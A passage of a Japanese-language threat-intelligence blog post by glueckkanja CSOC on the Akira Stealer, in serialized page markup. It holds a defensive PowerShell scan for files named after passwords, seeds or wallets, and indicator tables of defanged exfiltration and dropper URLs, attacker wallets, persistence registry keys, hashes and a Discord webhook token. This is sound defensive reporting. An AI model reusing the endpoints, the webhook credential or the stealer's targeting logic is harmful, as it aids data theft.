\"$env:USERPROFILE\\OneDrive\"\n",[1680,11619,11620],{"class":1682,"line":5098},[1680,11621,5238],{},[1680,11623,11624],{"class":1682,"line":5104},[1680,11625,11626],{},"$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n",[1680,11628,11629],{"class":1682,"line":5770},[1680,11630,11631],{},"$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n",[1680,11633,11634],{"class":1682,"line":5775},[1680,11635,11636],{},"$maxSize    = 2MB\n",[1680,11638,11639],{"class":1682,"line":5780},[1680,11640,3843],{"emptyLinePlaceholder":325},[1680,11642,11643],{"class":1682,"line":5785},[1680,11644,11583],{},[1680,11646,11647],{"class":1682,"line":5791},[1680,11648,11649],{},"# 2. Scan and Collect Matches\n",[1680,11651,11652],{"class":1682,"line":5796},[1680,11653,11583],{},[1680,11655,11656],{"class":1682,"line":5801},[1680,11657,11658],{},"$matches = [System.Collections.Generic.List[PSObject]]::new()\n",[1680,11660,11661],{"class":1682,"line":5806},[1680,11662,3843],{"emptyLinePlaceholder":325},[1680,11664,11665],{"class":1682,"line":5811},[1680,11666,11667],{},"foreach ($folder in $scanFolders) {\n",[1680,11669,11670],{"class":1682,"line":5816},[1680,11671,11672],{},"    if (-not (Test-Path $folder)) { continue }\n",[1680,11674,11675],{"class":1682,"line":5821},[1680,11676,11677],{},"    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n",[1680,11679,11680],{"class":1682,"line":5827},[1680,11681,11682],{},"        # 2.1 Extension filter\n",[1680,11684,11685],{"class":1682,"line":5833},[1680,11686,11687],{},"        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n",[1680,11689,11690],{"class":1682,"line":5839},[1680,11691,11692],{},"        # 2.2 Size filter\n",[1680,11694,11695],{"class":1682,"line":5844},[1680,11696,11697],{},"        if ($_.Length -gt $maxSize) { return }\n",[1680,11699,11700],{"class":1682,"line":5849},[1680,11701,3843],{"emptyLinePlaceholder":325},[1680,11703,11704],{"class":1682,"line":5854},[1680,11705,11706],{},"        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n",[1680,11708,11709],{"class":1682,"line":5859},[1680,11710,11711],{},"        $hit = $null\n",[1680,11713,11714],{"class":1682,"line":5865},[1680,11715,11716],{},"        foreach ($kw in $keywords) {\n",[1680,11718,11719],{"class":1682,"line":5870},[1680,11720,11721],{},"            if ($_.Name.ToLower().Contains($kw)) {\n",[1680,11723,11724],{"class":1682,"line":5875},[1680,11725,11726],{},"                $hit = $kw\n",[1680,11728,11729],{"class":1682,"line":5880},[1680,11730,11731],{},"                break\n",[1680,11733,11734],{"class":1682,"line":5885},[1680,11735,11736],{},"            }\n",[1680,11738,11739],{"class":1682,"line":5890},[1680,11740,11741],{},"        }\n",[1680,11743,11744],{"class":1682,"line":5895},[1680,11745,11746],{},"        if (-not $hit) { return }\n",[1680,11748,11749],{"class":1682,"line":5901},[1680,11750,3843],{"emptyLinePlaceholder":325},[1680,11752,11753],{"class":1682,"line":5907},[1680,11754,11755],{},"        # 2.4 Build relative path\n",[1680,11757,11758],{"class":1682,"line":5913},[1680,11759,11760],{},"        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n",[1680,11762,11763],{"class":1682,"line":5919},[1680,11764,3843],{"emptyLinePlaceholder":325},[1680,11766,11767],{"class":1682,"line":5924},[1680,11768,11769],{},"        # 2.5 Collect\n",[1680,11771,11772],{"class":1682,"line":5929},[1680,11773,11774],{},"        $matches.Add([PSCustomObject]@{\n",[1680,11776,11777],{"class":1682,"line":5935},[1680,11778,11779],{},"            FileName    = $_.Name\n",[1680,11781,11782],{"class":1682,"line":5941},[1680,11783,11784],{},"            Location    = $rel\n",[1680,11786,11787],{"class":1682,"line":5947},[1680,11788,11789],{},"            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n",[1680,11791,11792],{"class":1682,"line":5953},[1680,11793,11794],{},"            Keyword     = $hit\n",[1680,11796,11797],{"class":1682,"line":5958},[1680,11798,11799],{},"        })\n",[1680,11801,11802],{"class":1682,"line":5963},[1680,11803,11804],{},"    }\n",[1680,11806,11807],{"class":1682,"line":5969},[1680,11808,2402],{},[1680,11810,11811],{"class":1682,"line":5974},[1680,11812,3843],{"emptyLinePlaceholder":325},[1680,11814,11815],{"class":1682,"line":5979},[1680,11816,11583],{},[1680,11818,11819],{"class":1682,"line":5985},[1680,11820,11821],{},"# 3. Display Results\n",[1680,11823,11824],{"class":1682,"line":5991},[1680,11825,11583],{},[1680,11827,11828],{"class":1682,"line":5997},[1680,11829,11830],{},"clear\n",[1680,11832,11833],{"class":1682,"line":6002},[1680,11834,11835],{},"Write-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\n",[1680,11837,11838],{"class":1682,"line":6008},[1680,11839,11840],{},"Write-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n",[1680,11842,11843],{"class":1682,"line":6014},[1680,11844,3843],{"emptyLinePlaceholder":325},[1680,11846,11847],{"class":1682,"line":6019},[1680,11848,11849],{},"if ($matches.Count -gt 0) {\n",[1680,11851,11852],{"class":1682,"line":6025},[1680,11853,11854],{},"    $matches |\n",[1680,11856,11857],{"class":1682,"line":6031},[1680,11858,11859],{},"        Sort-Object Location, FileName |\n",[1680,11861,11862],{"class":1682,"line":6036},[1680,11863,11864],{},"        Format-Table -AutoSize `\n",[1680,11866,11867],{"class":1682,"line":6041},[1680,11868,11869],{},"            @{Label='File';       Expression={$_.FileName}},\n",[1680,11871,11872],{"class":1682,"line":6046},[1680,11873,11874],{},"            @{Label='Location';   Expression={$_.Location}},\n",[1680,11876,11877],{"class":1682,"line":6052},[1680,11878,11879],{},"            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n",[1680,11881,11883],{"class":1682,"line":11882},79,[1680,11884,11885],{},"            @{Label='Keyword';    Expression={$_.Keyword}}\n",[1680,11887,11889],{"class":1682,"line":11888},80,[1680,11890,3843],{"emptyLinePlaceholder":325},[1680,11892,11894],{"class":1682,"line":11893},81,[1680,11895,11896],{},"    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n",[1680,11898,11900],{"class":1682,"line":11899},82,[1680,11901,2402],{},[1680,11903,11905],{"class":1682,"line":11904},83,[1680,11906,11907],{},"else {\n",[1680,11909,11911],{"class":1682,"line":11910},84,[1680,11912,11913],{},"    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n",[1680,11915,11917],{"class":1682,"line":11916},85,[1680,11918,2402],{},[1680,11920,11922],{"class":1682,"line":11921},86,[1680,11923,3843],{"emptyLinePlaceholder":325},[1680,11925,11927],{"class":1682,"line":11926},87,[1680,11928,11929],{},"Write-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\n",[1680,11931,11933],{"class":1682,"line":11932},88,[1680,11934,11935],{},"Write-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[827,11937],{"className":11938},[830,831],[528,11940,11942],{"id":11941},"_12-対応のその先へ-glueckkanja-csocがインシデントをインサイトに変える方法","12. 対応のその先へ – glueckkanja CSOCがインシデントをインサイトに変える方法",[532,11944,534],{},[532,11946,11947,11948],{},"ほとんどのセキュリティオペレーションセンターは封じ込めで止まります。\n",[539,11949,11950],{},"当社は違います。",[532,11952,11953],{},"glueckkanja CSOCでは、インシデント対応はゴールではなく出発点だと考えています。",[532,11955,11956],{},"他社が勝利を宣言して先へ進むとき、当社はさらに深く掘り下げます。当社にとって、それぞれのインシデントは学び、適応し、より強くなる機会です。長年にわたる深いフォレンジックの専門性とリバースエンジニアリングの能力に支えられた飽くなき好奇心により、当社は単に防御するだけでなく、先を読みます。",[532,11958,11959,11960,11963],{},"この哲学こそが、当社が ",[539,11961,11962],{},"Akira Compromise Reporter"," を構築した理由です。",[532,11965,11966],{},"単なる検出をはるかに超えて、この社内開発のフォレンジックツールは、Akira Stealerに関する当社の深い知見を活かし、どのデータが侵害されたのかを完全に明らかにします。数分のうちに、インシデントの全体的な影響を正確かつ実行可能な形でスナップショットとして提示します。",[604,11968,11969,11972,11975],{},[607,11970,11971],{},"どの認証情報、トークン、ブラウザーセッションが窃取されたかを正確に。",[607,11973,11974],{},"どの暗号通貨ウォレット、メッセージングアカウント、ファイルが露出したかを正確に。",[607,11976,11977],{},"明確で構造化された詳細なフォレンジックレポート。不確実性を、即座かつ十分な情報に基づく行動へと変えます。",[532,11979,11980],{},[748,11981],{"alt":11982,"src":11983},"Akira Compromise Report","https://res.cloudinary.com/c4a8/image/upload/v1749796758/blog/pics/akira-compromise-report.png",[532,11985,11986],{},"glueckkanjaでは、成功を、ブロックした脅威の数だけでなく、提供した明確さで測るからです。正しく行われるサイバーセキュリティとは、単にインシデントに反応することではありません。理解し、適応し、常に一歩先を行くことです。",[532,11988,11989],{},[539,11990,11991],{},"それがglueckkanja CSOCの違いです。",[528,11993,11995],{"id":11994},"_13-侵害の痕跡-iocs","13. 侵害の痕跡 (IOCs)",[532,11997,534],{},[532,11999,12000],{},"以下は、glueckkanja CSOCにおける当社内部のリバースエンジニアリングの過程で、マルウェアのコードから直接抽出したIOCの包括的かつ逐語的なコレクションです。憶測や外部の脅威インテリジェンスソースは一切使用していません。すべての指標は確認済みの調査結果です。すべてのURLは、誤ったクリックを防ぐため意図的に難読化してあります。",[532,12002,12003],{},[539,12004,12005],{},"略語:",[604,12007,12008,12014],{},[607,12009,12010,12013],{},[539,12011,12012],{},"TG:"," Telegramの報告チャネル",[607,12015,12016,12019],{},[539,12017,12018],{},"Alt:"," 代替（フォールバック）エンドポイント",[714,12021,12023],{"id":12022},"_1-ドメインとurl","1. ドメインとURL",[532,12025,720],{},[1393,12027,4675,12029],{"className":12028,"style":11100},[11099],[1409,12030,12031,4675,12043,4675,12056,4675,12069,4675,12082,4675,12095,4675,12108,4675,12121,4675,12137,4675,12153,4675,12166,4675,12179,4675,12192,4675,12205,4675,12218,4675,12231,4675,12244,4675,12257,4675,12270,4675,12283,4675,12297,4675,12310],{},[1399,12032,4680,12033,4680,12037,4680,12041,4675],{},[1402,12034,12036],{"style":12035},"text-align: left; width: 18%;","カテゴリー",[1402,12038,12040],{"style":12039},"text-align: left; width: 52%;","難読化されたURL",[1402,12042,4849],{},[1399,12044,4680,12045,4680,12048,4680,12053,4675],{},[1414,12046,12047],{},"主要な注入",[1414,12049,12050],{},[550,12051,12052],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php",[1414,12054,12055],{},"最初の攻撃者Webhookエンドポイント",[1399,12057,4680,12058,4680,12061,4680,12066,4675],{},[1414,12059,12060],{},"フォールバックの注入",[1414,12062,12063],{},[550,12064,12065],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php",[1414,12067,12068],{},"代替のインジェクターエンドポイント",[1399,12070,4680,12071,4680,12074,4680,12079,4675],{},[1414,12072,12073],{},"エラー報告 (TG)",[1414,12075,12076],{},[550,12077,12078],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php",[1414,12080,12081],{},"Telegramのエラー／ログ報告URL",[1399,12083,4680,12084,4680,12087,4680,12092,4675],{},[1414,12085,12086],{},"エラー報告 (Alt)",[1414,12088,12089],{},[550,12090,12091],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php",[1414,12093,12094],{},"代替のエラー／ログ報告URL",[1399,12096,4680,12097,4680,12100,4680,12105,4675],{},[1414,12098,12099],{},"バニティボット (TG)",[1414,12101,12102],{},[550,12103,12104],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php",[1414,12106,12107],{},"バニティアドレスの通知エンドポイント",[1399,12109,4680,12110,4680,12113,4680,12118,4675],{},[1414,12111,12112],{},"バニティボット (Alt)",[1414,12114,12115],{},[550,12116,12117],{},"https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php",[1414,12119,12120],{},"代替のバニティ通知エンドポイント",[1399,12122,4680,12123,4680,12126,4680,12131,4675],{},[1414,12124,12125],{},"Exodusの注入",[1414,12127,12128],{},[550,12129,12130],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar",[1414,12132,12133,12134,12136],{},"Electronの ",[550,12135,4578],{}," アプリモジュール",[1399,12138,4680,12139,4680,12142,4680,12147,4675],{},[1414,12140,12141],{},"Atomicの注入",[1414,12143,12144],{},[550,12145,12146],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar",[1414,12148,12133,12149,12152],{},[550,12150,12151],{},"AtomicWallet"," モジュール",[1399,12154,4680,12155,4680,12158,4680,12163,4675],{},[1414,12156,12157],{},"Updaterのダウンロード",[1414,12159,12160],{},[550,12161,12162],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe",[1414,12164,12165],{},"永続化のドロッパー実行ファイル",[1399,12167,4680,12168,4680,12171,4680,12176,4675],{},[1414,12169,12170],{},"Gofile APIリスト",[1414,12172,12173],{},[550,12174,12175],{},"https[:]//api.gofile[.]io/servers",[1414,12177,12178],{},"最適なGoFileアップロードサーバーを取得",[1399,12180,4680,12181,4680,12184,4680,12189,4675],{},[1414,12182,12183],{},"Discordトークンのチェック",[1414,12185,12186],{},[550,12187,12188],{},"https[:]//discordapp[.]com/api/v9/users/@me",[1414,12190,12191],{},"窃取したDiscordトークンを検証",[1399,12193,4680,12194,4680,12197,4680,12202,4675],{},[1414,12195,12196],{},"Discordの請求情報",[1414,12198,12199],{},[550,12200,12201],{},"https[:]//discord[.]com/api/users/@me/billing/payment-sources",[1414,12203,12204],{},"請求方法を取得",[1399,12206,4680,12207,4680,12210,4680,12215,4675],{},[1414,12208,12209],{},"Google OAuthのリプレイ",[1414,12211,12212],{},[550,12213,12214],{},"https[:]//accounts[.]google[.]com/oauth/multilogin",[1414,12216,12217],{},"窃取したGoogleセッショントークンをリプレイ",[1399,12219,4680,12220,4680,12223,4680,12228,4675],{},[1414,12221,12222],{},"IPチェック (hosting)",[1414,12224,12225],{},[550,12226,12227],{},"http[:]//ip-api[.]com/line/?fields=hosting",[1414,12229,12230],{},"ホスティング環境の検出",[1399,12232,4680,12233,4680,12236,4680,12241,4675],{},[1414,12234,12235],{},"IPルックアップ (geo)",[1414,12237,12238],{},[550,12239,12240],{},"http[:]//ip-api[.]com/json/{ip}",[1414,12242,12243],{},"IPによる地理位置特定",[1399,12245,4680,12246,4680,12249,4680,12254,4675],{},[1414,12247,12248],{},"パブリックIPの取得",[1414,12250,12251],{},[550,12252,12253],{},"https[:]//api[.]ipify[.]org",[1414,12255,12256],{},"外部IPアドレスを取得",[1399,12258,4680,12259,4680,12262,4680,12267,4675],{},[1414,12260,12261],{},"File.ioのアップロード",[1414,12263,12264],{},[550,12265,12266],{},"https[:]//file[.]io/",[1414,12268,12269],{},"二次的な窃取チャネル",[1399,12271,4680,12272,4680,12275,4680,12280,4675],{},[1414,12273,12274],{},"Oshi.atのアップロード",[1414,12276,12277],{},[550,12278,12279],{},"http[:]//oshi[.]at/",[1414,12281,12282],{},"三次的な窃取チャネル",[1399,12284,4680,12285,4680,12288,4680,12294,4675],{},[1414,12286,12287],{},"JSドロッパー 主",[1414,12289,12290],{},[691,12291,12293],{"href":12292,"target":330},"https://rentry.co/7vzd22fg36hfdd33/raw","https[:]//rentry[.]co/7vzd22fg36hfdd33/raw",[1414,12295,12296],{},"実際のZIP URLへのリモート参照",[1399,12298,4680,12299,4680,12302,4680,12307,4675],{},[1414,12300,12301],{},"JSドロッパー フォールバック1",[1414,12303,12304],{},[691,12305,12306],{"href":3593,"target":330},"https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip",[1414,12308,12309],{},"代替のペイロードZIP",[1399,12311,4680,12312,4680,12315,4680,12320,4675],{},[1414,12313,12314],{},"JSドロッパー フォールバック2",[1414,12316,12317],{},[691,12318,12319],{"href":3598,"target":330},"https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip",[1414,12321,12322],{},"二次的なフォールバックのペイロードZIP",[827,12324],{"className":12325},[830,831],[714,12327,12329],{"id":12328},"_2-暗号通貨アドレス","2. 暗号通貨アドレス",[532,12331,720],{},[1393,12333,4675,12335],{"className":12334,"style":11100},[11099],[1409,12336,12337,4675,12345,4675,12355,4675,12365,4675,12375,4675,12384,4675,12394,4675,12404,4675,12414,4675,12424,4675,12434],{},[1399,12338,4680,12339,4680,12342,4675],{},[1402,12340,12341],{"style":11111},"通貨",[1402,12343,12344],{},"アドレス",[1399,12346,4680,12347,4680,12350,4675],{},[1414,12348,12349],{},"BTC",[1414,12351,12352],{},[550,12353,12354],{},"bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt",[1399,12356,4680,12357,4680,12360,4675],{},[1414,12358,12359],{},"ETH",[1414,12361,12362],{},[550,12363,12364],{},"0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5",[1399,12366,4680,12367,4680,12370,4675],{},[1414,12368,12369],{},"DOGE",[1414,12371,12372],{},[550,12373,12374],{},"DACeoqWDPmNARSZAeDZPFwqwecbByaksmd",[1399,12376,4680,12377,4680,12380,4675],{},[1414,12378,12379],{},"LTC",[1414,12381,12382],{},[550,12383,11142],{},[1399,12385,4680,12386,4680,12389,4675],{},[1414,12387,12388],{},"XMR",[1414,12390,12391],{},[550,12392,12393],{},"4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D",[1399,12395,4680,12396,4680,12399,4675],{},[1414,12397,12398],{},"BCH",[1414,12400,12401],{},[550,12402,12403],{},"qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs",[1399,12405,4680,12406,4680,12409,4675],{},[1414,12407,12408],{},"DASH",[1414,12410,12411],{},[550,12412,12413],{},"XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1",[1399,12415,4680,12416,4680,12419,4675],{},[1414,12417,12418],{},"TRX",[1414,12420,12421],{},[550,12422,12423],{},"TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK",[1399,12425,4680,12426,4680,12429,4675],{},[1414,12427,12428],{},"XRP",[1414,12430,12431],{},[550,12432,12433],{},"r36AwwhUH7BRujevi5mukbDrG46KGbTk8V",[1399,12435,4680,12436,4680,12439,4675],{},[1414,12437,12438],{},"XLM",[1414,12440,12441],{},[550,12442,12443],{},"GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33",[827,12445],{"className":12446},[830,831],[714,12448,12450],{"id":12449},"_3-レジストリキーパス","3. レジストリキー／パス",[532,12452,720],{},[1393,12454,4675,12456],{"className":12455,"style":11100},[11099],[1409,12457,12458,4675,12465,4675,12475,4675,12485,4675,12498],{},[1399,12459,4680,12460,4680,12463,4675],{},[1402,12461,1649],{"style":12462},"text-align: left; width: 60%;",[1402,12464,8276],{},[1399,12466,4680,12467,4680,12472,4675],{},[1414,12468,12469],{},[550,12470,12471],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc",[1414,12473,12474],{},"仮想GPUドライバーのシグネチャを確認",[1399,12476,4680,12477,4680,12482,4675],{},[1414,12478,12479],{},[550,12480,12481],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName",[1414,12483,12484],{},"仮想GPUのプロバイダー名を確認",[1399,12486,4680,12487,4680,12495,4675],{},[1414,12488,12489,12492,12493,4407],{},[550,12490,12491],{},"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"," (値 ",[539,12494,1660],{},[1414,12496,12497],{},"Runキーによる永続化 (Updater.exe)",[1399,12499,4680,12500,4680,12504,4675],{},[1414,12501,12502],{},[550,12503,1668],{},[1414,12505,12506],{},"永続化の実行ファイル",[827,12508],{"className":12509},[830,831],[714,12511,12513],{"id":12512},"_5-ファイルとハッシュ","5. ファイルとハッシュ",[532,12515,720],{},[1393,12517,4675,12519],{"className":12518,"style":11100},[11099],[1409,12520,12521,4675,12532,4675,12544,4675,12556,4675,12569,4675,12581,4675,12593,4675,12605,4675,12617,4675,12630,4675,12642,4675,12655,4675,12667],{},[1399,12522,4680,12523,4680,12525,4680,12529,4675],{},[1402,12524,11447],{"style":12035},[1402,12526,12528],{"style":12527},"text-align: left; width: 62%;","SHA256",[1402,12530,12531],{},"サイズ (バイト)",[1399,12533,4680,12534,4680,12536,4680,12541,4675],{},[1414,12535,1819],{},[1414,12537,12538],{},[550,12539,12540],{},"331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380",[1414,12542,12543],{},"63936274",[1399,12545,4680,12546,4680,12548,4680,12553,4675],{},[1414,12547,578],{},[1414,12549,12550],{},[550,12551,12552],{},"C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B",[1414,12554,12555],{},"162036224",[1399,12557,4680,12558,4680,12561,4680,12566,4675],{},[1414,12559,12560],{},"jscrypter.js",[1414,12562,12563],{},[550,12564,12565],{},"0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF",[1414,12567,12568],{},"1429",[1399,12570,4680,12571,4680,12573,4680,12578,4675],{},[1414,12572,2807],{},[1414,12574,12575],{},[550,12576,12577],{},"1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343",[1414,12579,12580],{},"30138",[1399,12582,4680,12583,4680,12585,4680,12590,4675],{},[1414,12584,2804],{},[1414,12586,12587],{},[550,12588,12589],{},"E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7",[1414,12591,12592],{},"7155",[1399,12594,4680,12595,4680,12597,4680,12602,4675],{},[1414,12596,2732],{},[1414,12598,12599],{},[550,12600,12601],{},"972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6",[1414,12603,12604],{},"211",[1399,12606,4680,12607,4680,12609,4680,12614,4675],{},[1414,12608,585],{},[1414,12610,12611],{},[550,12612,12613],{},"850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4",[1414,12615,12616],{},"205210",[1399,12618,4680,12619,4680,12622,4680,12627,4675],{},[1414,12620,12621],{},"exodus.asar",[1414,12623,12624],{},[550,12625,12626],{},"6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB",[1414,12628,12629],{},"132486332",[1399,12631,4680,12632,4680,12634,4680,12639,4675],{},[1414,12633,1877],{},[1414,12635,12636],{},[550,12637,12638],{},"10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910",[1414,12640,12641],{},"28454",[1399,12643,4680,12644,4680,12647,4680,12652,4675],{},[1414,12645,12646],{},"download.dat",[1414,12648,12649],{},[550,12650,12651],{},"C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B",[1414,12653,12654],{},"21142",[1399,12656,4680,12657,4680,12659,4680,12664,4675],{},[1414,12658,2865],{},[1414,12660,12661],{},[550,12662,12663],{},"E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7",[1414,12665,12666],{},"32375391",[1399,12668,4680,12669,4680,12671,4680,12676,4675],{},[1414,12670,574],{},[1414,12672,12673],{},[550,12674,12675],{},"36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0",[1414,12677,12678],{},"37652937",[827,12680],{"className":12681},[830,831],[714,12683,12685],{"id":12684},"_5-discordとtelegramの識別子","5. DiscordとTelegramの識別子",[532,12687,720],{},[1393,12689,4675,12691],{"className":12690,"style":11100},[11099],[1409,12692,12693,4675,12699,4675,12709,4675,12719],{},[1399,12694,4680,12695,4680,12697,4675],{},[1402,12696,12036],{"style":6292},[1402,12698,1407],{},[1399,12700,4680,12701,4680,12704,4675],{},[1414,12702,12703],{},"Discord Webhook ID",[1414,12705,12706],{},[550,12707,12708],{},"1226766972675428372",[1399,12710,4680,12711,4680,12714,4675],{},[1414,12712,12713],{},"Discord Webhook Token",[1414,12715,12716],{},[550,12717,12718],{},"BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz",[1399,12720,4680,12721,4680,12724,4675],{},[1414,12722,12723],{},"Telegram ID",[1414,12725,12726],{},[550,12727,12728],{},"5035121855",[827,12730],{"className":12731},[830,831],[528,12733,12735],{"id":12734},"_14-akira-stealerインシデントを振り返る-glueckkanja-csocで防御を強化する","14. Akira Stealerインシデントを振り返る: glueckkanja CSOCで防御を強化する",[532,12737,534],{},[532,12739,12740],{},"本ブログを通じて、当社はAkira情報窃取ツールの洗練された性質を掘り下げてきました。標的を絞った認証情報の窃取、ステルスなデータの窃取、そして従来の防御を回避する永続的な手法を特徴とする、高度なサイバー脅威です。このマルウェアがどのように機能し、どのようなリスクをもたらし、どの脆弱性を突くのかを理解することは、堅牢なサイバーセキュリティ戦略を築くうえで不可欠です。",[532,12742,12743],{},"Akira情報窃取ツールは、ログイン認証情報、ブラウザーセッション、暗号通貨ウォレット、メッセージングサービス、個人や組織のファイルといった機微なデータを狙って標的にします。その計算され精密な手口には、標準的なセキュリティ対策以上のもの、すなわち継続的な監視、踏み込んだフォレンジック分析、そして先を見越した脅威インテリジェンスが求められます。",[532,12745,12746],{},"glueckkanja CSOCでは、当社の深い技術的専門性と高度な分析能力を活かし、単なる検出の先へと進みます。当社の専門チームは、専用のCSOCサーバーから脅威をリアルタイムに継続監視し、Akira情報窃取ツールのような脅威の即時の特定、徹底した調査、効果的な無力化を可能にしています。",[532,12748,12749],{},"しかし当社の仕事はインシデント対応で終わりません。検出されたすべてのインシデントが当社のナレッジベースを豊かにし、セキュリティ体制を強化し、将来の脅威の何歩も先を行けるようにします。glueckkanja CSOCとともにあれば、お客様は単なる保護以上のものを得られます。長期的なレジリエンスに尽くす、適応型のセキュリティパートナーを得られるのです。",[532,12751,12752],{},"自社のデジタル資産を守るための次の一歩を踏み出してください。",[532,12754,12755],{},"今すぐglueckkanjaのサイバーセキュリティ専門家にご連絡ください。先を見越して、ともにお客様の未来を守りましょう。",[532,12757,12758],{},[539,12759,12760],{},"glueckkanja CSOCで防御を強化しましょう。",[528,12762,12764],{"id":12763},"_15-セキュリティと法的免責事項-実際のマルウェアコードの使用","15. セキュリティと法的免責事項 – 実際のマルウェアコードの使用",[532,12766,534],{},[532,12768,12769],{},"本記事には、インシデント対応やフォレンジック調査の過程で発見された実際の悪意あるソフトウェアに由来する、コードの抜粋や振る舞いの分解を含む、詳細な技術的知見が含まれています。この情報を共有する目的は厳密に教育的なものであり、プロの防御担当者が現実の脅威をより効果的に理解し、検出し、対応できるよう支援することを意図しています。当社は誠意をもって、また、より広いセキュリティコミュニティに貢献する意図をもってこれを公開します。",[532,12771,12772],{},"含まれるコードの一部が、実際に出回っている脅威アクターのツールキットやマルウェアの検体に由来する点に留意することが重要です。これらの断片は当社の知的財産ではなく、安全である、無害化されている、あるいはそのほかの意味で「無害」であると見なすべきものでもありません。そのようなコードの複製や運用上の使用は明確に推奨しません。読者は、本資料が研究と意識向上の機能を果たす一方で、過小評価すべきでないリスクプロファイルを本質的に伴うことを理解しなければなりません。",[532,12774,12775],{},"認定されたセキュリティチーム、SOC部門、学術研究者、マルウェアラボといった、法的に許可された環境で活動する訓練を受けた専門家のみが、ここで述べる手法やコードを扱うべきです。すべての実験は、隔離された非本番システムに限定し、適用される法律、社内ポリシー、倫理基準を遵守しなければなりません。",[532,12777,12778],{},"当社は、複製されたいかなるコードや振る舞いについても、サポートや検証を提供しません。正確性、関連性、完全性についていかなる保証もありません。さらに当社は、本コンテンツを攻撃目的、許可のないレッドチーム活動、商用のマルウェア開発、あるいは法的に定められた範囲を超えた敵対的テストに使用することを明確に拒否します。いかなる誤用も法的責任を招く可能性があります。glueckkanja AGは、本コンテンツの使用や誤解に起因する直接的または間接的な損害について、一切の責任を負いません。",[532,12780,12781],{},"本コンテンツを読み続ける、あるいは参照することにより、読者は上記を認識し、そのいかなる部分も違法または非倫理的な文脈で誤用、複製、適用しないことに同意したものとします。疑問がある場合は、実際のコード解析や類似の技術資料を扱う前に、法務、コンプライアンス、データ保護の部門にご相談ください。",[532,12783,12784],{},"本記事は、保証、サポート、責任なしに「現状のまま」提供されます。",[12786,12787,12788],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki 